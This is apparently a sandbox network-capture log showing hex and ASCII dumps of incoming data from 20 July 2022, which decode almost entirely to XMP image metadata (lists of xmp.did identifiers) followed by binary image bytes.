<rdf:li>xmp.did:2C0736AFF5A6DF118977AEE2A87D54E5</rdf:li> <rdf:li>xmp.did:2C24BF46
2022-07-20 17:31:07 UTC	6046	IN	Data Raw: 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 39 35 38 32 31 43 32 32 30 45 42 31 31 36 38 41 46 33 38 44 41 31 33 45 39 44 43 34 34 34 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 39 35 38 41 46 46 32 30 39 32 30 36 38 31 31 42 34 42 43 43 32 41 38 45 42 43 37 38 31 33 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 39 36 37 30 34 33 42 30 45 32 30 36 38 31 31 38 32 32 41 39 32 31 39 37 36 41 33 39 36 34 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 39 36 43 44 31 39 33 31 35 32 30 36 38 31 31 38 30 38 33 39 33 38 38 37 34 33 36 37 43 33 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 39 37 33 34 37 34 30 38 35 Data Ascii: f:li>xmp.did:395821C220EB1168AF38DA13E9DC4445</rdf:li> <rdf:li>xmp.did:3958AFF209206811B4BCC2A8EBC78135</rdf:li> <rdf:li>xmp.did:3967043B0E206811822A921976A3964B</rdf:li> <rdf:li>xmp.did:396CD193152068118083938874367C3C</rdf:li> <rdf:li>xmp.did:3973474085
2022-07-20 17:31:07 UTC	6062	IN	Data Raw: 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 38 34 42 42 41 32 45 41 37 37 31 45 30 31 31 38 35 34 38 42 31 36 42 42 35 38 46 39 30 36 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 38 34 43 30 41 43 43 33 42 32 30 36 38 31 31 38 32 32 41 42 36 37 42 39 41 32 45 45 44 38 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 38 35 38 44 31 36 30 32 36 32 30 36 38 31 31 38 30 38 33 41 34 42 35 42 38 30 44 44 42 36 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 38 36 39 65 63 30 31 2d 66 36 37 35 2d 34 63 33 32 2d 62 37 62 39 2d 36 35 39 62 30 35 38 35 64 30 65 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 38 37 Data Ascii: <rdf:li>xmp.did:484BBA2EA771E0118548B16BB58F9064</rdf:li> <rdf:li>xmp.did:484C0ACC3B206811822AB67B9A2EED81</rdf:li> <rdf:li>xmp.did:4858D160262068118083A4B5B80DDB63</rdf:li> <rdf:li>xmp.did:4869ec01-f675-4c32-b7b9-659b0585d0e6</rdf:li> <rdf:li>xmp.did:487
2022-07-20 17:31:07 UTC	6070	IN	Data Raw: 36 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 30 39 30 31 36 32 34 30 38 32 30 36 38 31 31 39 35 46 45 42 35 38 32 44 30 31 36 42 33 30 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 30 39 31 44 36 46 44 43 34 32 31 36 38 31 31 42 30 41 45 46 36 36 42 37 30 30 42 41 30 42 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 30 39 46 30 39 42 30 36 39 32 30 36 38 31 31 41 39 45 46 43 33 35 37 44 46 31 45 34 34 44 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 30 43 34 44 45 39 43 46 38 42 34 45 32 31 31 42 35 45 31 44 39 38 44 43 36 43 39 44 32 30 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 Data Ascii: 64</rdf:li> <rdf:li>xmp.did:509016240820681195FEB582D016B30A</rdf:li> <rdf:li>xmp.did:5091D6FDC4216811B0AEF66B700BA0BA</rdf:li> <rdf:li>xmp.did:509F09B069206811A9EFC357DF1E44DE</rdf:li> <rdf:li>xmp.did:50C4DE9CF8B4E211B5E1D98DC6C9D202</rdf:li> <rdf:li>xmp
2022-07-20 17:31:07 UTC	6086	IN	Data Raw: 36 37 39 66 31 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 64 66 38 35 39 64 33 2d 39 30 33 64 2d 34 61 34 39 2d 62 65 64 34 2d 64 31 35 37 36 64 65 39 32 30 62 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 64 66 62 65 32 33 31 2d 32 32 30 35 2d 37 37 34 35 2d 61 32 38 65 2d 38 35 63 65 37 65 65 62 32 65 36 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 65 32 65 64 63 33 39 2d 34 65 33 32 2d 34 34 62 38 2d 62 30 37 30 2d 33 30 66 32 66 38 30 31 63 37 62 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 65 34 30 64 34 35 33 2d 61 38 30 37 2d 61 62 34 39 2d 38 32 63 37 2d 30 35 35 64 33 31 34 62 64 65 65 38 3c Data Ascii: 679f1e</rdf:li> <rdf:li>xmp.did:5df859d3-903d-4a49-bed4-d1576de920b8</rdf:li> <rdf:li>xmp.did:5dfbe231-2205-7745-a28e-85ce7eeb2e66</rdf:li> <rdf:li>xmp.did:5e2edc39-4e32-44b8-b070-30f2f801c7b1</rdf:li> <rdf:li>xmp.did:5e40d453-a807-ab49-82c7-055d314bdee8<
2022-07-20 17:31:07 UTC	6102	IN	Data Raw: 62 31 37 31 30 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 62 63 35 33 34 35 32 2d 39 64 30 65 2d 34 63 32 33 2d 39 63 66 64 2d 38 34 36 33 66 39 31 36 34 66 65 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 62 66 65 32 35 61 66 2d 63 34 35 63 2d 34 31 33 35 2d 38 30 65 61 2d 36 63 37 36 35 61 37 33 36 36 64 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 63 33 38 37 34 31 33 2d 31 39 33 38 2d 34 33 34 31 2d 38 66 63 66 2d 35 62 30 37 65 37 35 61 61 33 37 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 63 34 61 36 62 34 38 2d 36 34 63 33 2d 39 66 34 66 2d 62 38 61 66 2d 61 31 64 64 35 38 39 61 63 63 66 65 3c Data Ascii: b17109</rdf:li> <rdf:li>xmp.did:6bc53452-9d0e-4c23-9cfd-8463f9164fef</rdf:li> <rdf:li>xmp.did:6bfe25af-c45c-4135-80ea-6c765a7366de</rdf:li> <rdf:li>xmp.did:6c387413-1938-4341-8fcf-5b07e75aa373</rdf:li> <rdf:li>xmp.did:6c4a6b48-64c3-9f4f-b8af-a1dd589accfe<
2022-07-20 17:31:07 UTC	6110	IN	Data Raw: 32 38 32 30 36 38 31 31 42 37 43 34 38 31 31 33 37 36 41 43 45 42 30 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 35 38 39 61 36 35 61 2d 30 31 31 38 2d 66 65 34 38 2d 39 30 62 65 2d 30 36 33 63 63 65 32 36 61 63 36 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 35 43 31 38 46 36 44 44 36 37 44 31 31 45 30 42 30 43 34 45 32 44 30 42 35 43 33 30 41 44 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 35 43 31 38 46 37 31 44 36 37 44 31 31 45 30 42 30 43 34 45 32 44 30 42 35 43 33 30 41 44 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 35 43 42 33 33 30 30 45 33 32 30 36 38 31 31 38 34 44 35 44 39 44 37 38 32 41 Data Ascii: 28206811B7C4811376ACEB01</rdf:li> <rdf:li>xmp.did:7589a65a-0118-fe48-90be-063cce26ac61</rdf:li> <rdf:li>xmp.did:75C18F6DD67D11E0B0C4E2D0B5C30AD4</rdf:li> <rdf:li>xmp.did:75C18F71D67D11E0B0C4E2D0B5C30AD4</rdf:li> <rdf:li>xmp.did:75CB3300E320681184D5D9D782A
2022-07-20 17:31:07 UTC	6126	IN	Data Raw: 38 34 64 2d 39 34 35 36 2d 65 30 35 30 66 62 65 66 36 37 38 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 35 37 34 32 43 42 33 30 43 32 30 36 38 31 31 42 36 39 39 41 30 43 42 38 31 31 45 46 30 33 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 35 37 35 33 65 33 35 2d 30 39 64 66 2d 62 62 34 64 2d 62 37 64 31 2d 39 31 61 31 66 31 61 66 35 38 38 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 35 38 44 30 45 41 35 46 44 39 44 45 31 31 31 41 44 44 32 39 42 36 38 34 45 34 35 45 35 38 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 35 41 44 46 32 31 36 36 35 38 44 45 30 31 31 42 45 30 39 39 34 37 34 32 37 34 34 43 37 Data Ascii: 84d-9456-e050fbef678c</rdf:li> <rdf:li>xmp.did:85742CB30C206811B699A0CB811EF03E</rdf:li> <rdf:li>xmp.did:85753e35-09df-bb4d-b7d1-91a1f1af5883</rdf:li> <rdf:li>xmp.did:858D0EA5FD9DE111ADD29B684E45E581</rdf:li> <rdf:li>xmp.did:85ADF216658DE011BE0994742744C7
2022-07-20 17:31:07 UTC	6142	IN	Data Raw: 33 30 36 39 63 37 33 2d 33 37 62 66 2d 34 34 32 39 2d 39 65 35 36 2d 65 34 36 62 30 62 31 33 37 38 37 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 33 31 38 35 64 39 32 2d 32 31 38 31 2d 34 37 64 62 2d 38 36 36 37 2d 34 32 37 36 30 66 61 34 34 37 37 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 33 31 43 30 46 36 32 41 46 37 30 45 30 31 31 39 44 42 43 41 30 35 37 33 31 32 45 38 44 38 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 33 32 31 45 45 30 31 44 44 46 41 45 34 31 31 38 45 36 34 46 32 30 31 45 30 30 45 45 43 32 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 33 32 36 44 34 41 43 31 42 32 30 36 38 31 31 Data Ascii: 3069c73-37bf-4429-9e56-e46b0b137874</rdf:li> <rdf:li>xmp.did:93185d92-2181-47db-8667-42760fa44776</rdf:li> <rdf:li>xmp.did:931C0F62AF70E0119DBCA057312E8D83</rdf:li> <rdf:li>xmp.did:9321EE01DDFAE4118E64F201E00EEC2A</rdf:li> <rdf:li>xmp.did:9326D4AC1B206811
2022-07-20 17:31:07 UTC	6149	IN	Data Raw: 38 31 31 39 35 42 42 38 45 32 44 39 39 41 36 37 36 44 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 41 34 38 43 42 45 45 33 44 32 35 36 38 31 31 38 44 42 42 39 32 38 31 39 30 38 37 30 44 41 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 41 34 41 36 44 45 46 36 44 39 41 31 31 45 31 38 35 43 45 38 43 37 37 41 38 44 30 30 38 34 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 41 35 33 43 39 42 33 43 46 42 41 45 32 31 31 41 35 46 37 42 33 31 36 36 43 30 32 46 39 30 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 41 35 34 41 43 41 39 36 39 37 44 44 45 31 31 41 39 43 35 39 30 32 42 33 33 31 41 32 44 30 30 3c 2f 72 64 Data Ascii: 81195BB8E2D99A676D6</rdf:li> <rdf:li>xmp.did:9A48CBEE3D2568118DBB928190870DAB</rdf:li> <rdf:li>xmp.did:9A4A6DEF6D9A11E185CE8C77A8D00848</rdf:li> <rdf:li>xmp.did:9A53C9B3CFBAE211A5F7B3166C02F901</rdf:li> <rdf:li>xmp.did:9A54ACA9697DDE11A9C5902B331A2D00</rd
2022-07-20 17:31:07 UTC	6165	IN	Data Raw: 37 46 34 35 38 32 42 32 30 36 38 31 31 39 35 38 44 44 36 36 39 33 32 32 31 45 36 31 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 46 31 33 37 34 30 46 36 42 36 41 45 30 31 31 41 35 46 33 39 35 30 46 45 37 46 46 36 35 38 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 46 31 44 42 30 35 35 32 45 43 37 45 31 31 31 41 45 33 39 39 45 41 42 44 30 38 34 32 45 34 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 46 33 43 46 41 32 31 38 38 30 42 45 37 31 31 42 46 30 36 39 34 30 36 36 37 37 45 38 42 30 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 46 36 43 31 34 46 32 31 39 32 30 36 38 31 31 38 43 31 34 44 45 45 36 41 45 Data Ascii: 7F4582B206811958DD6693221E61F</rdf:li> <rdf:li>xmp.did:AF13740F6B6AE011A5F3950FE7FF6584</rdf:li> <rdf:li>xmp.did:AF1DB0552EC7E111AE399EABD0842E47</rdf:li> <rdf:li>xmp.did:AF3CFA21880BE711BF069406677E8B06</rdf:li> <rdf:li>xmp.did:AF6C14F2192068118C14DEE6AE
2022-07-20 17:31:07 UTC	6181	IN	Data Raw: 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 38 32 35 46 34 42 46 30 39 32 30 36 38 31 31 41 38 38 44 42 30 44 31 33 44 44 43 37 44 39 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 38 37 36 31 36 42 31 34 42 32 36 36 38 31 31 38 46 36 32 39 44 37 45 34 32 35 31 35 38 41 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 38 37 37 38 36 44 43 34 32 41 32 45 30 31 31 39 39 32 35 44 46 30 36 43 31 41 44 38 45 38 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 38 38 32 41 35 38 45 33 44 41 43 45 34 31 31 38 36 34 45 46 43 34 44 32 45 38 41 37 37 38 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e Data Ascii: 1</rdf:li> <rdf:li>xmp.did:C825F4BF09206811A88DB0D13DDC7D9E</rdf:li> <rdf:li>xmp.did:C87616B14B2668118F629D7E425158A1</rdf:li> <rdf:li>xmp.did:C87786DC42A2E0119925DF06C1AD8E81</rdf:li> <rdf:li>xmp.did:C882A58E3DACE411864EFC4D2E8A7785</rdf:li> <rdf:li>xmp.
2022-07-20 17:31:07 UTC	6189	IN	Data Raw: 38 41 36 44 45 33 32 44 43 45 37 38 35 34 30 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 32 34 31 45 34 46 43 39 43 32 37 45 33 31 31 39 33 39 33 45 38 36 32 30 33 39 30 38 42 42 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 32 34 42 36 46 42 37 45 32 30 37 31 31 45 30 42 42 31 33 41 43 34 36 37 38 42 44 32 32 37 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 32 35 38 35 32 34 31 42 36 44 31 45 34 31 31 42 34 43 45 38 32 34 36 30 46 42 37 46 34 46 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 32 36 32 33 33 37 36 30 37 32 30 36 38 31 31 38 32 32 41 39 37 46 36 45 39 36 37 34 46 38 37 3c 2f 72 64 66 3a 6c Data Ascii: 8A6DE32DCE785405</rdf:li> <rdf:li>xmp.did:D241E4FC9C27E3119393E86203908BBA</rdf:li> <rdf:li>xmp.did:D24B6FB7E20711E0BB13AC4678BD227D</rdf:li> <rdf:li>xmp.did:D2585241B6D1E411B4CE82460FB7F4FF</rdf:li> <rdf:li>xmp.did:D262337607206811822A97F6E9674F87</rdf:l
2022-07-20 17:31:07 UTC	6205	IN	Data Raw: 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 38 34 41 30 33 36 33 30 42 32 30 36 38 31 31 38 41 36 44 43 36 33 38 46 39 46 43 39 35 45 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 38 36 46 45 31 38 41 43 33 32 31 36 38 31 31 38 46 36 32 41 30 46 44 44 38 46 41 33 37 46 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 38 43 33 30 36 46 36 30 46 32 30 36 38 31 31 42 34 42 43 43 32 41 38 45 42 43 37 38 31 33 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 38 45 38 42 31 45 32 30 46 32 32 44 46 31 31 42 37 35 36 46 36 43 36 33 31 32 32 36 31 32 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 38 45 38 46 38 46 39 34 Data Ascii: df:li>xmp.did:E84A03630B2068118A6DC638F9FC95EE</rdf:li> <rdf:li>xmp.did:E86FE18AC32168118F62A0FDD8FA37F2</rdf:li> <rdf:li>xmp.did:E8C306F60F206811B4BCC2A8EBC78135</rdf:li> <rdf:li>xmp.did:E8E8B1E20F22DF11B756F6C631226122</rdf:li> <rdf:li>xmp.did:E8E8F8F94
2022-07-20 17:31:07 UTC	6221	IN	Data Raw: 31 31 42 41 30 31 38 31 30 35 42 43 34 45 43 43 38 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 38 37 46 31 31 37 34 30 37 32 30 36 38 31 31 38 30 38 33 38 37 41 38 31 34 42 41 31 34 30 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 38 37 46 31 31 37 34 30 37 32 30 36 38 31 31 38 30 38 33 39 32 41 31 42 44 38 45 31 31 36 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 38 37 46 31 31 37 34 30 37 32 30 36 38 31 31 38 30 38 33 39 37 37 32 43 33 44 30 38 32 39 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 38 37 46 31 31 37 34 30 37 32 30 36 38 31 31 38 30 38 33 41 45 41 33 30 32 33 36 34 35 32 37 3c 2f 72 64 66 Data Ascii: 11BA018105BC4ECC83</rdf:li> <rdf:li>xmp.did:F87F117407206811808387A814BA1408</rdf:li> <rdf:li>xmp.did:F87F117407206811808392A1BD8E1163</rdf:li> <rdf:li>xmp.did:F87F11740720681180839772C3D0829A</rdf:li> <rdf:li>xmp.did:F87F1174072068118083AEA302364527</rdf
2022-07-20 17:31:07 UTC	6224	IN	Data Raw: 43 34 30 32 33 34 31 36 32 31 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 39 37 46 31 31 37 34 30 37 32 30 36 38 31 31 38 39 30 35 43 44 42 31 31 35 43 44 41 44 46 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 39 37 46 31 31 37 34 30 37 32 30 36 38 31 31 38 41 36 44 38 33 37 32 43 39 41 37 46 36 45 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 39 37 46 31 31 37 34 30 37 32 30 36 38 31 31 38 41 36 44 42 32 32 46 31 43 41 44 41 37 46 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 39 37 46 31 31 37 34 30 37 32 30 36 38 31 31 38 41 36 44 46 36 42 30 35 44 34 31 37 39 42 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 Data Ascii: C4023416217</rdf:li> <rdf:li>xmp.did:F97F1174072068118905CDB115CDADF5</rdf:li> <rdf:li>xmp.did:F97F1174072068118A6D8372C9A7F6EA</rdf:li> <rdf:li>xmp.did:F97F1174072068118A6DB22F1CADA7F5</rdf:li> <rdf:li>xmp.did:F97F1174072068118A6DF6B05D4179B8</rdf:li> <r
2022-07-20 17:31:07 UTC	6240	IN	Data Raw: 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 61 64 63 34 36 37 35 32 2d 61 37 31 34 2d 39 38 34 35 2d 61 34 30 38 2d 32 32 65 63 35 34 39 38 38 62 62 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 61 64 64 66 62 32 34 31 2d 32 34 37 66 2d 34 32 31 33 2d 61 63 30 37 2d 30 65 36 61 36 30 32 34 38 33 33 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 61 65 31 34 62 66 36 63 2d 37 63 66 66 2d 31 61 34 37 2d 39 36 61 64 2d 31 33 66 30 31 62 30 61 64 65 36 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 61 65 33 64 61 38 31 63 2d 37 64 32 61 2d 37 61 34 36 2d 39 31 31 32 2d 36 38 33 66 66 65 37 64 61 31 35 33 3c 2f 72 64 66 3a 6c 69 3e 20 Data Ascii: df:li> <rdf:li>xmp.did:adc46752-a714-9845-a408-22ec54988bbe</rdf:li> <rdf:li>xmp.did:addfb241-247f-4213-ac07-0e6a60248332</rdf:li> <rdf:li>xmp.did:ae14bf6c-7cff-1a47-96ad-13f01b0ade66</rdf:li> <rdf:li>xmp.did:ae3da81c-7d2a-7a46-9112-683ffe7da153</rdf:li>
2022-07-20 17:31:07 UTC	6256	IN	Data Raw: 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 64 66 61 61 38 35 64 64 2d 65 39 66 33 2d 39 38 34 32 2d 62 36 37 61 2d 64 37 34 65 31 38 30 64 65 62 34 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 64 66 65 64 66 63 38 30 2d 31 34 34 63 2d 34 38 32 63 2d 39 30 32 33 2d 34 33 39 66 36 32 31 63 62 32 35 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 65 30 33 37 37 63 65 36 2d 65 61 33 33 2d 38 32 34 34 2d 38 30 32 39 2d 63 30 39 62 64 61 31 34 33 63 35 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 65 30 35 66 30 61 39 66 2d 65 36 38 39 2d 38 30 34 61 2d 62 36 64 62 2d 35 61 61 61 61 64 36 36 35 33 32 66 3c 2f 72 64 66 3a 6c 69 3e Data Ascii: rdf:li> <rdf:li>xmp.did:dfaa85dd-e9f3-9842-b67a-d74e180deb41</rdf:li> <rdf:li>xmp.did:dfedfc80-144c-482c-9023-439f621cb257</rdf:li> <rdf:li>xmp.did:e0377ce6-ea33-8244-8029-c09bda143c52</rdf:li> <rdf:li>xmp.did:e05f0a9f-e689-804a-b6db-5aaaad66532f</rdf:li>
2022-07-20 17:31:07 UTC	6261	IN	Data Raw: 38 2d 62 63 65 62 2d 62 36 64 34 35 62 64 34 34 33 31 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 65 66 31 39 36 33 61 30 2d 39 30 37 37 2d 34 36 36 65 2d 62 39 62 33 2d 61 32 38 37 65 62 37 62 38 64 34 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 65 66 35 32 66 64 39 38 2d 31 64 34 37 2d 34 35 34 64 2d 38 62 38 66 2d 36 36 34 30 34 31 64 36 34 35 64 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 65 66 36 30 36 63 38 39 2d 32 35 36 31 2d 34 38 64 30 2d 38 35 30 38 2d 33 39 35 66 31 34 33 31 33 66 38 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 66 30 30 37 31 35 62 36 2d 31 39 39 66 2d 34 39 39 63 2d 62 65 62 65 2d Data Ascii: 8-bceb-b6d45bd44318</rdf:li> <rdf:li>xmp.did:ef1963a0-9077-466e-b9b3-a287eb7b8d48</rdf:li> <rdf:li>xmp.did:ef52fd98-1d47-454d-8b8f-664041d645d3</rdf:li> <rdf:li>xmp.did:ef606c89-2561-48d0-8508-395f14313f87</rdf:li> <rdf:li>xmp.did:f00715b6-199f-499c-bebe-
2022-07-20 17:31:07 UTC	6277	IN	Data Raw: 6c 69 f1 52 2c ec aa 0a 2b 5a ca 28 97 35 9c e5 8f 97 bb 2b df c7 7f 3a 3d fd 4a 42 81 d8 98 38 13 89 f3 31 e3 63 8f 21 89 51 99 c4 7f 0f 3c 9b d3 2c dc cf 6b 88 ef e0 c3 2e ff 00 ef e9 f0 4c 0d 34 3d 72 2e 9a a9 87 8b 23 0c 31 94 4e fd 14 cb 10 5b 26 85 de 4b 39 5f 09 94 a8 93 a2 7b af 1f 7e 2d 55 54 08 c6 7c d1 8c f8 59 cf 2c 8b 6f 38 99 05 a0 a8 ab 1b a5 8e 2f 46 19 7c 3d 0d 48 07 7c b5 d5 31 e4 c6 97 1f 31 0c 92 46 ac 71 d0 92 41 b8 35 e9 1c 5e cd 5a 37 ff 00 31 24 bf 85 bf dc d4 f1 40 54 33 cd d3 3a 82 65 3d 61 90 5d 22 d1 78 4d 59 6c e5 77 53 ff 00 4f 4f c0 66 8b 27 ac cf d4 f1 e3 80 86 94 e6 39 c7 90 aa 04 4a 2b e3 e4 32 c6 eb ed 1b e1 23 be 4f c0 fb 9a a4 c9 82 f2 7c a5 93 24 f4 e8 cc 72 c4 65 52 1c 16 41 22 79 b9 1b dc bf 86 c6 44 48 64 8e cf c3 Data Ascii: liR,+Z(5+:=JB81c!Q<,k.L4=r.#1N[&K9_{~-UT\|Y,o8/F\|=H\|11FqA5^Z71$@T3:e=a]"xMYlwSOOf'9J+2#O\|$reRA"yDHd
